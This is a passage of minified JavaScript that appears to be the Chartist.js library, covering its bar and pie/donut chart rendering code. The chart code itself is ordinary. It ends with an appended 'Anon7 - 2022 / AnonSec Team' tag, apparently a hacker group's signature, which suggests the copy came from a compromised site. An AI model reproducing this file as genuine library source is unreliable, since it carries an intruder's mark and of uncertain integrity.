o=l.elem("path",{d:e.stringify()},t.classNames.area,!0);this.eventEmitter.emit("draw",{type:"area",values:n.normalized.series[r],path:e.clone(),series:i,seriesIndex:r,axisX:a,axisY:s,chartRect:c,index:r,group:l,element:o})}).bind(this))}}).bind(this)),this.eventEmitter.emit("created",{bounds:s.bounds,chartRect:c,axisX:a,axisY:s,svg:this.svg,options:t})}})}(this||global,t),function(t,e){"use strict";var i={axisX:{offset:30,position:"end",labelOffset:{x:0,y:0},showLabel:!0,showGrid:!0,labelInterpolationFnc:e.noop,scaleMinSpace:30,onlyInteger:!1},axisY:{offset:40,position:"start",labelOffset:{x:0,y:0},showLabel:!0,showGrid:!0,labelInterpolationFnc:e.noop,scaleMinSpace:20,onlyInteger:!1},width:void 0,height:void 0,high:void 0,low:void 0,referenceValue:0,chartPadding:{top:15,right:15,bottom:5,left:10},seriesBarDistance:15,stackBars:!1,stackMode:"accumulate",horizontalBars:!1,distributeSeries:!1,reverseData:!1,showGridBackground:!1,classNames:{chart:"ct-chart-bar",horizontalBars:"ct-horizontal-bars",label:"ct-label",labelGroup:"ct-labels",series:"ct-series",bar:"ct-bar",grid:"ct-grid",gridGroup:"ct-grids",gridBackground:"ct-grid-background",vertical:"ct-vertical",horizontal:"ct-horizontal",start:"ct-start",end:"ct-end"}};e.Bar=e.Base.extend({constructor:function(t,n,a,s){e.Bar.super.constructor.call(this,t,n,i,e.extend({},i,a),s)},createChart:function(t){var n,a;t.distributeSeries?(n=e.normalizeData(this.data,t.reverseData,t.horizontalBars?"x":"y")).normalized.series=n.normalized.series.map(function(t){return[t]}):n=e.normalizeData(this.data,t.reverseData,t.horizontalBars?"x":"y"),this.svg=e.createSvg(this.container,t.width,t.height,t.classNames.chart+(t.horizontalBars?" "+t.classNames.horizontalBars:""));var s=this.svg.elem("g").addClass(t.classNames.gridGroup),r=this.svg.elem("g"),o=this.svg.elem("g").addClass(t.classNames.labelGroup);if(t.stackBars&&0!==n.normalized.series.length){var l=e.serialMap(n.normalized.series,function(){return Array.prototype.slice.call(arguments).map(function(t){return t}).reduce(function(t,e){return{x:t.x+(e&&e.x)||0,y:t.y+(e&&e.y)||0}},{x:0,y:0})});a=e.getHighLow([l],t,t.horizontalBars?"x":"y")}else a=e.getHighLow(n.normalized.series,t,t.horizontalBars?"x":"y");a.high=+t.high||(0===t.high?0:a.high),a.low=+t.low||(0===t.low?0:a.low);var c,h,u,d,p,f=e.createChartRect(this.svg,t,i.padding);h=t.distributeSeries&&t.stackBars?n.normalized.labels.slice(0,1):n.normalized.labels,t.horizontalBars?(c=d=void 0===t.axisX.type?new e.AutoScaleAxis(e.Axis.units.x,n.normalized.series,f,e.extend({},t.axisX,{highLow:a,referenceValue:0})):t.axisX.type.call(e,e.Axis.units.x,n.normalized.series,f,e.extend({},t.axisX,{highLow:a,referenceValue:0})),u=p=void 0===t.axisY.type?new e.StepAxis(e.Axis.units.y,n.normalized.series,f,{ticks:h}):t.axisY.type.call(e,e.Axis.units.y,n.normalized.series,f,t.axisY)):(u=d=void 0===t.axisX.type?new e.StepAxis(e.Axis.units.x,n.normalized.series,f,{ticks:h}):t.axisX.type.call(e,e.Axis.units.x,n.normalized.series,f,t.axisX),c=p=void 0===t.axisY.type?new e.AutoScaleAxis(e.Axis.units.y,n.normalized.series,f,e.extend({},t.axisY,{highLow:a,referenceValue:0})):t.axisY.type.call(e,e.Axis.units.y,n.normalized.series,f,e.extend({},t.axisY,{highLow:a,referenceValue:0})));var g=t.horizontalBars?f.x1+c.projectValue(0):f.y1-c.projectValue(0),m=[];u.createGridAndLabels(s,o,this.supportsForeignObject,t,this.eventEmitter),c.createGridAndLabels(s,o,this.supportsForeignObject,t,this.eventEmitter),t.showGridBackground&&e.createGridBackground(s,f,t.classNames.gridBackground,this.eventEmitter),n.raw.series.forEach((function(i,a){var s,o,l=a-(n.raw.series.length-1)/2;s=t.distributeSeries&&!t.stackBars?u.axisLength/n.normalized.series.length/2:t.distributeSeries&&t.stackBars?u.axisLength/2:u.axisLength/n.normalized.series[a].length/2,(o=r.elem("g")).attr({"ct:series-name":i.name,"ct:meta":e.serialize(i.meta)}),o.addClass([t.classNames.series,i.className||t.classNames.series+"-"+e.alphaNumerate(a)].join(" ")),n.normalized.series[a].forEach((function(r,h){var v,b,y,x;if(x=t.distributeSeries&&!t.stackBars?a:t.distributeSeries&&t.stackBars?0:h,v=t.horizontalBars?{x:f.x1+c.projectValue(r&&r.x?r.x:0,h,n.normalized.series[a]),y:f.y1-u.projectValue(r&&r.y?r.y:0,x,n.normalized.series[a])}:{x:f.x1+u.projectValue(r&&r.x?r.x:0,x,n.normalized.series[a]),y:f.y1-c.projectValue(r&&r.y?r.y:0,h,n.normalized.series[a])},u instanceof e.StepAxis&&(u.options.stretch||(v[u.units.pos]+=s*(t.horizontalBars?-1:1)),v[u.units.pos]+=t.stackBars||t.distributeSeries?0:l*t.seriesBarDistance*(t.horizontalBars?-1:1)),m[h]=(y=m[h]||g)-(g-v[u.counterUnits.pos]),void 0!==r){var w={};w[u.units.pos+"1"]=v[u.units.pos],w[u.units.pos+"2"]=v[u.units.pos],!t.stackBars||"accumulate"!==t.stackMode&&t.stackMode?(w[u.counterUnits.pos+"1"]=g,w[u.counterUnits.pos+"2"]=v[u.counterUnits.pos]):(w[u.counterUnits.pos+"1"]=y,w[u.counterUnits.pos+"2"]=m[h]),w.x1=Math.min(Math.max(w.x1,f.x1),f.x2),w.x2=Math.min(Math.max(w.x2,f.x1),f.x2),w.y1=Math.min(Math.max(w.y1,f.y2),f.y1),w.y2=Math.min(Math.max(w.y2,f.y2),f.y1);var k=e.getMetaData(i,h);b=o.elem("line",w,t.classNames.bar).attr({"ct:value":[r.x,r.y].filter(e.isNumeric).join(","),"ct:meta":e.serialize(k)}),this.eventEmitter.emit("draw",e.extend({type:"bar",value:r,index:h,meta:k,series:i,seriesIndex:a,axisX:d,axisY:p,chartRect:f,group:o,element:b},w))}}).bind(this))}).bind(this)),this.eventEmitter.emit("created",{bounds:c.bounds,chartRect:f,axisX:d,axisY:p,svg:this.svg,options:t})}})}(this||global,t),function(t,e){"use strict";var i={width:void 0,height:void 0,chartPadding:5,classNames:{chartPie:"ct-chart-pie",chartDonut:"ct-chart-donut",series:"ct-series",slicePie:"ct-slice-pie",sliceDonut:"ct-slice-donut",sliceDonutSolid:"ct-slice-donut-solid",label:"ct-label"},startAngle:0,total:void 0,donut:!1,donutSolid:!1,donutWidth:60,showLabel:!0,labelOffset:0,labelPosition:"inside",labelInterpolationFnc:e.noop,labelDirection:"neutral",reverseData:!1,ignoreEmptyValues:!1};function n(t,e,i){var n=e.x>t.x;return n&&"explode"===i||!n&&"implode"===i?"start":n&&"implode"===i||!n&&"explode"===i?"end":"middle"}e.Pie=e.Base.extend({constructor:function(t,n,a,s){e.Pie.super.constructor.call(this,t,n,i,e.extend({},i,a),s)},createChart:function(t){var a,s,r,o,l,c=e.normalizeData(this.data),h=[],u=t.startAngle;this.svg=e.createSvg(this.container,t.width,t.height,t.donut?t.classNames.chartDonut:t.classNames.chartPie),s=e.createChartRect(this.svg,t,i.padding),r=Math.min(s.width()/2,s.height()/2),l=t.total||c.normalized.series.reduce(function(t,e){return t+e},0);var d=e.quantity(t.donutWidth);"%"===d.unit&&(d.value*=r/100),r-=t.donut&&!t.donutSolid?d.value/2:0,o="outside"===t.labelPosition||t.donut&&!t.donutSolid?r:"center"===t.labelPosition?0:t.donutSolid?r-d.value/2:r/2,o+=t.labelOffset;var p={x:s.x1+s.width()/2,y:s.y2+s.height()/2},f=1===c.raw.series.filter(function(t){return t.hasOwnProperty("value")?0!==t.value:0!==t}).length;c.raw.series.forEach((function(t,e){h[e]=this.svg.elem("g",null,null)}).bind(this)),t.showLabel&&(a=this.svg.elem("g",null,null)),c.raw.series.forEach((function(i,s){if(0!==c.normalized.series[s]||!t.ignoreEmptyValues){h[s].attr({"ct:series-name":i.name}),h[s].addClass([t.classNames.series,i.className||t.classNames.series+"-"+e.alphaNumerate(s)].join(" "));var g=l>0?u+c.normalized.series[s]/l*360:0,m=Math.max(0,u-(0===s||f?0:.2));g-m>=359.99&&(g=m+359.99);var v,b,y,x=e.polarToCartesian(p.x,p.y,r,m),w=e.polarToCartesian(p.x,p.y,r,g),k=new e.Svg.Path(!t.donut||t.donutSolid).move(w.x,w.y).arc(r,r,0,g-u>180,0,x.x,x.y);t.donut?t.donutSolid&&(v=e.polarToCartesian(p.x,p.y,y=r-d.value,u-(0===s||f?0:.2)),b=e.polarToCartesian(p.x,p.y,y,g),k.line(v.x,v.y),k.arc(y,y,0,g-u>180,1,b.x,b.y)):k.line(p.x,p.y);var S=t.classNames.slicePie;t.donut&&(S=t.classNames.sliceDonut,t.donutSolid&&(S=t.classNames.sliceDonutSolid));var A=h[s].elem("path",{d:k.stringify()},S);if(A.attr({"ct:value":c.normalized.series[s],"ct:meta":e.serialize(i.meta)}),t.donut&&!t.donutSolid&&(A._node.style.strokeWidth=d.value+"px"),this.eventEmitter.emit("draw",{type:"slice",value:c.normalized.series[s],totalDataSum:l,index:s,meta:i.meta,series:i,group:h[s],element:A,path:k.clone(),center:p,radius:r,startAngle:u,endAngle:g}),t.showLabel){var z,C;z=1===c.raw.series.length?{x:p.x,y:p.y}:e.polarToCartesian(p.x,p.y,o,u+(g-u)/2),C=c.normalized.labels&&!e.isFalseyButZero(c.normalized.labels[s])?c.normalized.labels[s]:c.normalized.series[s];var O=t.labelInterpolationFnc(C,s);if(O||0===O){var E=a.elem("text",{dx:z.x,dy:z.y,"text-anchor":n(p,z,t.labelDirection)},t.classNames.label).text(""+O);this.eventEmitter.emit("draw",{type:"label",index:s,group:a,element:E,text:""+O,x:z.x,y:z.y})}}u=g}}).bind(this)),this.eventEmitter.emit("created",{chartRect:s,svg:this.svg,options:t})},determineAnchorPosition:n})}(this||global,t),t}()}).apply(e,[]))||(t.exports=n)}}])}();

Anon7 - 2022
AnonSec Team